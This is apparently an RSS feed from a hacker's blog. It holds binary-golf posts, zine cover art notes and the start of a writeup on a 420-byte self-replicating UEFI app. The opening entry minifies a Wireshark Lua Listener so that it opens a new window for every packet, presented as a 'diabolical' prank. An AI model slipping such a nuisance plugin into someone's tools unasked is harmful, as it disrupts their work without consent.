&lt;p>Even though &lt;code>TextWindow.new&lt;/code> is longer than &lt;code>new_dialog&lt;/code>, the shorter amount of args makes it smaller. Even if i had a 1 char builtin or function, &lt;code>new_dialog&lt;/code> would still only be 17 bytes due to the requirement of the arguments, so &lt;code>TextWindow.new()&lt;/code> wins!&lt;/p>
&lt;p>17 bytes:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">TextWindow.new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This is the smallest dissector I could manage that would output in Wireshark. It opens a single Text Window with the title &amp;ldquo;6&amp;rdquo;&lt;/p>
&lt;p>&lt;img src="https://n0.lol/wireshark-b6-textwindow6.png" alt="">&lt;/p>
&lt;p>Now that we know the limit, how can we make it more diabolical?&lt;/p>
&lt;h2 id="listenernew">Listener.new&lt;/h2>
&lt;p>The &lt;code>register_heuristic&lt;/code> approach only hooks Ethernet frames, but what if we wanted to hook every frame that came in?&lt;/p>
&lt;p>We can use a &lt;a href="https://www.wireshark.org/docs/wsdg_html_chunked/wslua_tap_example.html">Listener&lt;/a>, which can get triggered prior to other dissectors being called. One caveat of Listeners is that they can&amp;rsquo;t modify any of the packet info, so we need to use the &lt;code>TextWindow.new(6)&lt;/code> method to produce some output.&lt;/p>
&lt;p>I took a similar approach to minifying a basic Listener, and got to 64 characters:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">t&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Listener.new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kc">nil&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="n">t.packet&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kr">function&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="n">TextWindow.new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="kr">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>The last little trick is to turn this into a one liner by removing the last couple of spaces, bringing it down to 62 characters:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-lua" data-lang="lua">&lt;span class="line">&lt;span class="cl">&lt;span class="n">t&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Listener.new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kc">nil&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="n">t.packet&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="kr">function&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="n">TextWindow.new&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="kr">end&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This oneliner opens up a new window on every new packet when sniffing, or every packet within a pcap when you open it directly like here :)
&lt;img src="https://n0.lol/wireshark-b6-textwindow.png" alt="">&lt;/p>
&lt;p>I found another funny thing that I will write up later. Like for Part 2!!!&lt;/p></description></item><item><title>about</title><link>https://n0.lol/about/</link><pubDate>Sat, 01 Nov 2025 12:00:00 -0400</pubDate><guid>https://n0.lol/about/</guid><description>&lt;p>&lt;img src="https://n0.lol/avi.png" alt="">&lt;/p>
&lt;p>Hello, I am netspooky!&lt;/p>
&lt;p>Here are my links:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/netspooky">https://github.com/netspooky&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://x.com/netspooky">https://x.com/netspooky&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://bsky.app/profile/vacci.ne">https://bsky.app/profile/vacci.ne&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://haunted.computer/@netspooky">https://haunted.computer/@netspooky&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>BGGP6 Announcement</title><link>https://n0.lol/bggp6-announcement/</link><pubDate>Sat, 18 Oct 2025 10:00:00 -0400</pubDate><guid>https://n0.lol/bggp6-announcement/</guid><description>&lt;p>&lt;img src="https://n0.lol/BGGP6-Flyer.jpg" alt="">&lt;/p>
&lt;p>&lt;a href="https://binary.golf/6/">https://binary.golf/6/&lt;/a>&lt;/p></description></item><item><title>Phrack 72</title><link>https://n0.lol/phrack72/</link><pubDate>Mon, 18 Aug 2025 12:00:00 -0400</pubDate><guid>https://n0.lol/phrack72/</guid><description>&lt;p>&lt;img src="https://n0.lol/cover-spooky-evolution.png" alt="">&lt;/p>
&lt;p>This is the cover design I made for Phrack 72! It&amp;rsquo;s a physical collage made out of photocopied textures, letters, and cut outs from various sources. The paper I used was extremely bright, and it was quite difficult to scan haha. Next time I will just take a high res photo, because many scanners I tried made the colors look washed out. Shout out to ackmage for helping with color correction on the final image!&lt;/p>
&lt;p>You will be able to order a copy of Phrack 72 with this cover by the end of 2025!&lt;/p>
&lt;p>Read Phrack 72 here: &lt;a href="https://phrack.org/issues/72/1">https://phrack.org/issues/72/1&lt;/a>&lt;/p></description></item><item><title>BGGP5 Wrapped</title><link>https://n0.lol/bggp5-recap/</link><pubDate>Fri, 21 Mar 2025 10:00:00 -0400</pubDate><guid>https://n0.lol/bggp5-recap/</guid><description>&lt;p>Full Writeup Here: &lt;a href="https://tmpout.sh/4/17.html">https://tmpout.sh/4/17.html&lt;/a>&lt;/p>
&lt;p>Challenge: &lt;a href="https://binary.golf/5">https://binary.golf/5&lt;/a>&lt;/p>
&lt;p>Repo: &lt;a href="https://github.com/binarygolf/BGGP/tree/main/2024">https://github.com/binarygolf/BGGP/tree/main/2024&lt;/a>&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp5_flyer_fullres.png" alt="">&lt;/p></description></item><item><title>tmp.0ut Volume 4</title><link>https://n0.lol/tmpout4/</link><pubDate>Fri, 21 Mar 2025 09:00:00 -0400</pubDate><guid>https://n0.lol/tmpout4/</guid><description>&lt;p>&lt;img src="https://n0.lol/tmpout4-art.png" alt="">&lt;/p>
&lt;p>&lt;img src="https://n0.lol/tmpout4.png" alt="">&lt;/p>
&lt;p>Link: &lt;a href="https://tmpout.sh/4/">https://tmpout.sh/4/&lt;/a>&lt;/p></description></item><item><title>Phrack 72 CFP</title><link>https://n0.lol/phrack-72-cfp-flyer/</link><pubDate>Mon, 17 Mar 2025 09:00:00 -0400</pubDate><guid>https://n0.lol/phrack-72-cfp-flyer/</guid><description>&lt;p>&lt;img src="https://n0.lol/Phrack-CFP-Flyer-2025.jpeg" alt="">&lt;/p>
&lt;p>See the full CFP here: &lt;a href="https://phrack.org">https://phrack.org&lt;/a>&lt;/p></description></item><item><title>impure89 Release</title><link>https://n0.lol/impure89/</link><pubDate>Fri, 28 Feb 2025 17:00:00 -0400</pubDate><guid>https://n0.lol/impure89/</guid><description>&lt;p>&lt;img src="https://n0.lol/impure89-release.jpeg" alt="">&lt;/p>
&lt;p>Some of my art was included in the latest ANSI art pack from impure! Check it out :)&lt;/p>
&lt;p>&lt;a href="https://16colo.rs/pack/impure89">https://16colo.rs/pack/impure89&lt;/a>&lt;/p>
&lt;p>impure produced one of my all time favorite demos, &amp;ldquo;all aboard the impure train!&amp;rdquo; (2017), which is an ASCII train that scrolls by with art pieces on the box cars that roll by. It reminded me of how graffiti artists who paint trains give each other tiny model trains all tagged up as gifts.&lt;/p>
&lt;ul>
&lt;li>Demo Link: &lt;a href="https://www.pouet.net/prod.php?which=72285">https://www.pouet.net/prod.php?which=72285&lt;/a>&lt;/li>
&lt;li>Video: &lt;a href="https://www.youtube.com/watch?v=QmYJU5Qr8Jw">https://www.youtube.com/watch?v=QmYJU5Qr8Jw&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>this was followed up with the impure express, which has a cityscape background.&lt;/p>
&lt;ul>
&lt;li>Demo Link: &lt;a href="https://www.pouet.net/prod.php?which=89791">https://www.pouet.net/prod.php?which=89791&lt;/a>&lt;/li>
&lt;li>Video: &lt;a href="https://www.youtube.com/watch?v=X9wodTL9XVA">https://www.youtube.com/watch?v=X9wodTL9XVA&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>All their other art packs rule too, def go check out their archives on 16colo.rs!!&lt;/p></description></item><item><title>Phrack 71</title><link>https://n0.lol/phrack71/</link><pubDate>Thu, 08 Aug 2024 12:00:00 -0400</pubDate><guid>https://n0.lol/phrack71/</guid><description>&lt;p>I had the honor of creating the cover for Phrack 71 which was physically released at Defcon 2024!&lt;/p>
&lt;p>Read the full issue here: &lt;a href="https://phrack.org/issues/71/1">https://phrack.org/issues/71/1&lt;/a>&lt;/p>
&lt;p>This is the original front cover image&lt;/p>
&lt;p>&lt;img src="https://n0.lol/phrack71-cover-front-original.jpeg" alt="">&lt;/p>
&lt;p>The blue tones were added by ackmage for the final cover&lt;/p>
&lt;p>&lt;img src="https://n0.lol/phrack71.jpeg" alt="">&lt;/p>
&lt;p>They looked great printed! (&lt;a href="https://lulu.com/shop/phrack-zine/phrack-71/paperback/product-zmkeggd.html">link&lt;/a> to grab a copy)&lt;/p>
&lt;p>&lt;img src="https://n0.lol/phrack71-table.jpeg" alt="">&lt;/p>
&lt;p>This was the back design I did, but it didn&amp;rsquo;t end up getting used&amp;hellip;&lt;/p>
&lt;p>&lt;img src="https://n0.lol/phrack71-cover-back-original.jpeg" alt="">&lt;/p>
&lt;p>&amp;hellip;until the &lt;a href="https://n0.lol/phrack-72-cfp-flyer">Phrack 72 CFP flyer&lt;/a>!&lt;/p>
&lt;p>&lt;img src="https://n0.lol/Phrack-CFP-Flyer-2025.jpeg" alt="">&lt;/p></description></item><item><title>Binary Golfing UEFI Applications (REcon 2024)</title><link>https://n0.lol/binary-golfing-uefi-applications-recon2024/</link><pubDate>Sat, 29 Jun 2024 12:00:00 -0400</pubDate><guid>https://n0.lol/binary-golfing-uefi-applications-recon2024/</guid><description>&lt;p>Slides: &lt;a href="https://github.com/netspooky/golfclub/blob/master/uefi/bggp4/Binary-Golfing-UEFI-Applications.pdf">https://github.com/netspooky/golfclub/blob/master/uefi/bggp4/Binary-Golfing-UEFI-Applications.pdf&lt;/a>&lt;/p>
&lt;p>Video: Coming Soon!&lt;/p></description></item><item><title>BGGP5 Announcement</title><link>https://n0.lol/bggp5-announcement/</link><pubDate>Fri, 21 Jun 2024 10:00:00 -0400</pubDate><guid>https://n0.lol/bggp5-announcement/</guid><description>&lt;p>&lt;img src="https://n0.lol/bggp5_flyer_fullres.png" alt="">&lt;/p>
&lt;p>&lt;a href="https://binary.golf/">https://binary.golf/&lt;/a>&lt;/p></description></item><item><title>Welcome To My Cool New On-Line Web Site</title><link>https://n0.lol/updates-2024-06/</link><pubDate>Fri, 14 Jun 2024 12:00:00 -0400</pubDate><guid>https://n0.lol/updates-2024-06/</guid><description>&lt;p>&lt;img src="https://n0.lol/avi.png" alt="netspooky avatar">&lt;/p>
&lt;p>&lt;strong>Hello!&lt;/strong> It&amp;rsquo;s been a while since I updated my website. I&amp;rsquo;m finally using a static site generator instead of the borked python script I used to use.&lt;/p>
&lt;p>This is a major work in progress as I learn how to actually use this and make my old pages work in here. Apologies in advance if any paths change or things end up in unexpected spots. The result should be a much nicer experience for both you reading, and me publishing.&lt;/p>
&lt;p>I realized I had &lt;strong>a lot&lt;/strong> of stuff everywhere, but I didn&amp;rsquo;t know what to actually do with it. All the pages, repos, gists, twitter/mastodon threads, etc. really add up! Hopefully this new way of publishing will help me to organize a bit better.&lt;/p>
&lt;p>The content of my site will be a more concise aggregation of all the stuff I&amp;rsquo;ve created previously. There is a &lt;a href="https://n0.lol/notes/">notes&lt;/a> section that contains less formal notes and writeups that I&amp;rsquo;ve done. There is also a &lt;a href="https://n0.lol/cheatsheets">cheatsheets&lt;/a> page that is mainly for myself. Also the site&amp;rsquo;s content is reactive, yay! Lastly, I moved all the BGGP related pages to &lt;a href="https://binary.golf">https://binary.golf&lt;/a> ! Go check it out.&lt;/p>
&lt;p>I am going to try to use this site more instead of social media for all my long form posts. I also am going to have a blog for non-tech stuff somewhere.&lt;/p>
&lt;p>Thanks for visiting! If there are any issues with the site feel free to &lt;a href="https://n0.lol/info/contact/">hit me up&lt;/a>!!&lt;/p></description></item><item><title>About Me</title><link>https://n0.lol/info/about/</link><pubDate>Sat, 01 Jun 2024 12:00:00 -0400</pubDate><guid>https://n0.lol/info/about/</guid><description>&lt;p>wwwww&lt;/p></description></item><item><title>Contact</title><link>https://n0.lol/info/contact/</link><pubDate>Sat, 01 Jun 2024 12:00:00 -0400</pubDate><guid>https://n0.lol/info/contact/</guid><description>&lt;ul>
&lt;li>Github: &lt;a href="https://github.com/netspooky">https://github.com/netspooky&lt;/a>&lt;/li>
&lt;li>Twitter: &lt;a href="https://twitter.com/netspooky">https://twitter.com/netspooky&lt;/a>&lt;/li>
&lt;li>Mastodon: &lt;a href="https://haunted.computer/@netspooky">https://haunted.computer/@netspooky&lt;/a>&lt;/li>
&lt;li>Twitch: &lt;a href="https://twitch.tv/netspooky">https://twitch.tv/netspooky&lt;/a>&lt;/li>
&lt;li>Youtube: &lt;a href="https://youtube.com/c/netspooky">https://youtube.com/c/netspooky&lt;/a>&lt;/li>
&lt;li>Electronic Mail: u AT n0 DOT lol&lt;/li>
&lt;/ul></description></item><item><title>BGGP4: A 420 Byte Self-Replicating UEFI App For x64</title><link>https://n0.lol/uefi420/</link><pubDate>Fri, 01 Mar 2024 12:00:00 -0400</pubDate><guid>https://n0.lol/uefi420/</guid><description>&lt;p>Repo link with example code: &lt;a href="https://github.com/netspooky/golfclub/tree/master/uefi/bggp4">https://github.com/netspooky/golfclub/tree/master/uefi/bggp4&lt;/a>&lt;/p>
&lt;p>Hello hello, this writeup serves as an extremely late entry to the fourth annual &lt;a href="https://github.com/binarygolf/bggp">Binary Golf Grand Prix&lt;/a>. The &lt;a href="https://binary.golf/">challenge&lt;/a> was to create the smallest self-replicating file that prints, returns, or displays the number 4. My entry is a 420 byte self-replicating UEFI app.&lt;/p>
&lt;p>In this writeup, I will cover UEFI, the UEFI x64 ABI, writing UEFI applications in x86_64 assembly, Tianocore EDK2 image loader internals, QEMU automation, and binary golf strategies for UEFI PEs.&lt;/p>
&lt;h2 id="contents">Contents&lt;/h2>
&lt;ul>
&lt;li>&lt;a href="#Introduction">Introduction&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Why-Is-UEFI">Why Is UEFI?&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Getting-Started">Getting Started&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Basic-UEFI-Application">Basic UEFI Application&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Understanding-the-x64-UEFI-ABI">Understanding the x64 UEFI ABI&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Printing-4-In-Assembly">Printing 4 In Assembly&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Quick-Note-On-Debugging">Quick Note On Debugging&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Self-Replicating">Self Replicating&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#Wait-WTH-are-protocols">Wait WTH are protocols??&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Interacting-with-the-Filesystem">Interacting with the Filesystem&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Reading-The-File-Into-Memory">Reading The File Into Memory&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Writing-Data-To-A-New-File">Writing Data To A New File&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#Using-Five-Arguments-In-A-Call">Using Five Arguments In A Call&lt;/a>&lt;/li>
&lt;li>&lt;a href="#File-Write">File Write&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#How-Does-UEFI-Load-Images">How Does UEFI Load Images?&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Golfing-The-Binary">Golfing The Binary&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#TinyPE">TinyPE&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Creating-A-Testing-Script">Creating A Testing Script&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Exploring-The-Caves">Exploring The Caves&lt;/a>&lt;/li>
&lt;li>&lt;a href="#jmping-around-the-header">jmp&amp;rsquo;ing around the header&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Types-Of-Optimizations-I-Did">Types Of Optimizations I Did&lt;/a>
&lt;ul>
&lt;li>&lt;a href="#Assuming-Addresses-Are-32-Bit">Assuming Addresses Are 32 Bit&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Storing-Data-In-The-Header">Storing Data In The Header&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Assuming-RAX-Is-0-After-Calls">Assuming RAX Is 0 After Calls&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Reusing-Values-In-Registers">Reusing Values In Registers&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#Finishing-Touches">Finishing Touches&lt;/a>&lt;/li>
&lt;li>&lt;a href="#Future-Optimizations">Future Optimizations&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="#Conclusion">Conclusion&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>I was already playing with UEFI when this challenge began, trying to understand services and explore interesting features built into the spec. UEFI is one of those things that I always &amp;ldquo;knew about&amp;rdquo; but never really dove into outside of reading write ups and books. I&amp;rsquo;ve written some x86 bootloaders and &lt;a href="https://en.wikipedia.org/wiki/Real_mode">real mode&lt;/a> programs in the past, such as &lt;a href="https://en.wikipedia.org/wiki/Master_boot_record">MBR&lt;/a> infectors and toy bootkits, but I had never tried to write anything for UEFI directly.&lt;/p>
&lt;p>I actually didn&amp;rsquo;t even have a computer that used UEFI to play with until fairly recently. I used to use an old Dell laptop from the mid 00s, and I could load my disk images off a legit floppy and boot into them on real hardware. Now that pretty much every PC I have uses UEFI, I figured it was time to learn.&lt;/p>
&lt;p>Let&amp;rsquo;s go over some of the stone cold facts about UEFI.&lt;/p>
&lt;h2 id="why-is-uefi">Why Is UEFI?&lt;/h2>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/UEFI_Logo.png" alt="">&lt;/p>
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/UEFI">UEFI&lt;/a> or (Unified Extensible Firmware Interface) is a type of firmware that creates a consistent interface to setup and manage devices (such as disks and hardware peripherals) that are needed for your operating system to boot.&lt;/p>
&lt;p>It was developed as a replacement for traditional &lt;a href="https://en.wikipedia.org/wiki/BIOS">BIOS&lt;/a>, to provide a unified set of APIs that abstract away a bunch of ancient constraints and programming requirements that are tedious to deal with manually.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/BIOS_King.png" alt="">&lt;/p>
&lt;p>&lt;em>BIOS King&lt;/em>&lt;/p>
&lt;p>What are these constraints and requirements you ask? They are things like needing to enable the &lt;a href="https://en.wikipedia.org/wiki/A20_line">A20 line&lt;/a> to access all the memory for addressing in real mode (the mode your processor is in when it first turns on). This allowed you to store more things in memory like your bootloader or OS Image. You also had to do all the hardware initialization yourself, and simple things like disk reads (using &lt;a href="https://en.wikipedia.org/wiki/Cylinder-head-sector">Cylinder-head-sector&lt;/a>) were very laborious.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/Hard_Drive_Geometry.png" alt="">&lt;/p>
&lt;p>&lt;em>&amp;hellip;they have played us for absolute fools&lt;/em>&lt;/p>
&lt;p>The whole BIOS workflow was arduous, error prone, and problems were difficult to diagnose. On top of that you have to use the same BIOS interrupts the pioneers used to use. Peace be upon Ralf Brown&amp;rsquo;s &lt;a href="https://en.wikipedia.org/wiki/Ralf_Brown%27s_Interrupt_List">INTERRUP.LST&lt;/a>&lt;/p>
&lt;p>Since old school BIOS was clunky and annoying, a bunch of manufacturers teamed up to make &lt;a href="https://en.wikipedia.org/wiki/System_Management_BIOS">SMBIOS&lt;/a>. This was originally known as DMIBIOS, because it interacted with a thing called Desktop Management Interface or &lt;a href="https://en.wikipedia.org/wiki/Desktop_Management_Interface">DMI&lt;/a>. SMBIOS provides a bunch of data structures (sometimes called &amp;ldquo;tables&amp;rdquo; or &amp;ldquo;records&amp;rdquo;) that contain information about the platform&amp;rsquo;s components or features.&lt;/p>
&lt;blockquote>
&lt;p>Fun Fact: The original MS-DOS BIOS, known as IO.SYS, was named after famed Touhou Doujin circle &lt;a href="https://www.youtube.com/watch?v=1pDM6fQUfJs">IOSYS&lt;/a> /s&lt;/p>
&lt;/blockquote>
&lt;p>If you want to play with a BIOS implementation, you can use SeaBIOS with QEMU:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-sh" data-lang="sh">&lt;span class="line">&lt;span class="cl">git clone https://github.com/coreboot/seabios &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> seabios &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> make
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">qemu-system-x86_64 -bios out/bios.bin -nographic
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Instead of booting a single bootloader like traditional BIOS, UEFI allows you to run Applications and Drivers. These applications can do various setup and verification tasks, as well as gather information about the state of the current hardware using well defined structures. After all this is set up, it passes to the boot code for your operating system, which boots the OS.&lt;/p>
&lt;p>&lt;img src="https://n0.lol/bggp4-uefi/EFI_Boot_Sequence.png" alt="">&lt;/p>
&lt;p>&lt;em>UEFI Spec 2.: Fig 2.1 Booting Sequence&lt;/em>&lt;/p>
&lt;p>UEFI abstracts the low level interface by taking all of the key BIOS features and turning them to APIs and a well defined environment that makes creating reliable firmware easier. UEFI exposes the core functionality as &amp;ldquo;Services&amp;rdquo; and &amp;ldquo;Protocols&amp;rdquo;, which are used to interact with the UEFI runtime and underlying hardware. UEFI is also useful from an operating system perspective, because you still need to interact with the hardware, and UEFI drivers can make it easier to do that.&lt;/p>
&lt;p>UEFI is just a spec, and it&amp;rsquo;s not meant to be tied to any programming language or architecture. The most well known UEFI implementation is &lt;a href="https://en.wikipedia.org/wiki/TianoCore_EDK_II">Tianocore EDK2&lt;/a>, which contains a vast library of code and compatibility layers for a large number of targets.&lt;/p>
&lt;p>EDK2 repo: &lt;a href="https://github.com/tianocore/edk2">https://github.com/tianocore/edk2&lt;/a>&lt;/p>
&lt;h2 id="getting-started">Getting Started&lt;/h2>
&lt;p>Before this challenge began, I was originally looking to write a small demonstration payload for the &lt;a href="https://tmpout.sh/3/19.html">tiny Linux Kernel Module&lt;/a> that rqu and I wrote for tmp.0ut Volume 3. We had been curious about UEFI from a Linux perspective, and were looking for a simple way to build and test small apps.&lt;/p>
&lt;p>My go-to place for no-nonsense low level tutorials has been the OS Dev Wiki, and they had an article called &lt;a href="https://wiki.osdev.org/UEFI_App_Bare_Bones">UEFI App Bare Bones&lt;/a>. This seemed like a good place to start, and it was using &lt;a href="https://wiki.osdev.org/GNU-EFI">gnu-efi&lt;/a>, which allows you to build UEFI apps using gcc on Linux.&lt;/p>
&lt;p>gnu-efi repo: &lt;a href="https://sourceforge.net/p/gnu-efi/code/ci/master/tree/">https://sourceforge.net/p/gnu-efi/code/ci/master/tree/&lt;/a>&lt;/p>
&lt;p>I won&amp;rsquo;t recommend gnu-efi for anyone getting started with UEFI programming, as it&amp;rsquo;s far more ropey than EDK2. It was helpful for reasons I will discuss in this writeup, but most tutorials and code examples you will see for UEFI will be from EDK2. This repo called &lt;a href="https://github.com/Kostr/UEFI-Lessons">UEFI-Lessons&lt;/a> is a much better starting point for anyone who wants to use the EDK2 codebase.&lt;/p>
&lt;p>Another good guide for getting started:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://krinkinmu.github.io/2020/10/11/efi-getting-started.html">https://krinkinmu.github.io/2020/10/11/efi-getting-started.html&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="basic-uefi-application">Basic UEFI Application&lt;/h2>
&lt;p>I built a basic application with gnu-efi based on the UEFI App Bare Bones tutorial on OS Dev. It displays a message and waits for a keypress, then it prints information about the keypress and exits. I used QEMU to run it.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-shell" data-lang="shell">&lt;span class="line">&lt;span class="cl">/usr/bin/qemu-system-x86_64 &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -drive &lt;span class="k">if&lt;/span>&lt;span class="o">=&lt;/span>pflash,format&lt;span class="o">=&lt;/span>raw,file&lt;span class="o">=&lt;/span>./OVMF.fd &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -drive &lt;span class="nv">format&lt;/span>&lt;span class="o">=&lt;/span>raw,file&lt;span class="o">=&lt;/span>fat:rw:./root &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -net none &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span> -nographic
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>This is what the code looks like:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-c" data-lang="c">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;efi.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#include&lt;/span> &lt;span class="cpf">&amp;lt;efilib.h&amp;gt;&lt;/span>&lt;span class="cp">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">EFI_STATUS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nf">efi_main&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">EFI_HANDLE&lt;/span> &lt;span class="n">image&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">EFI_SYSTEM_TABLE&lt;/span> &lt;span class="o">*&lt;/span>&lt;span class="n">systab&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
